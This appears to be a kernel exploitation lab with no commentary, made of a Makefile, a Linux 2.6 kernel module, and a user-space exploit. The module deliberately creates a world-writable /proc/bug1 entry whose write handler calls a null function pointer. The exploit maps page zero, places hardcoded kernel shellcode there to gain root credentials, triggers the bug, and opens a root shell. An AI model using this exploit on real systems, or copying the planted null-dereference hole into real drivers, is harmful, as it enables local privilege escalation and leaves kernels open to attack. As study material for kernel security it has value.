obj-m := null.o

KERNELDIR := /lib/modules/2.6.32.21/build

PWD := $(shell pwd)

modules:

$(MAKE) -C $(KERNELDIR) M=$(PWD) modules

modules_install:

$(MAKE) -C $(KERNELDIR) M=$(PWD) modules_install

clean:

rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

#include <linux/init.h>

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/proc_fs.h>

void (*my_funptr)(void);

int bug1_write(struct file *file, const char *buf, unsigned long len)

{

my_funptr();

return len;

}

static int init_func(void)

{

printk(KERN_ALERT "null_dereference driver init!\n");

create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;

return 0;

}

static void exit_func(void)

{

printk(KERN_ALERT "null_dereference driver exit\n");

}

module_init(init_func);

module_exit(exit_func);

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/mman.h>

char payload[] = "\x31\xc0\xe8\xe9\xb2\x16\xc0\xe8\xa4\xaf\x16\xc0\xc3";

int main()

{

mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);

memcpy(0, payload, sizeof(payload));

int fd = open("/proc/bug1", O_WRONLY);

write(fd, "foo", 3);

system("/bin/sh");

return 0;

}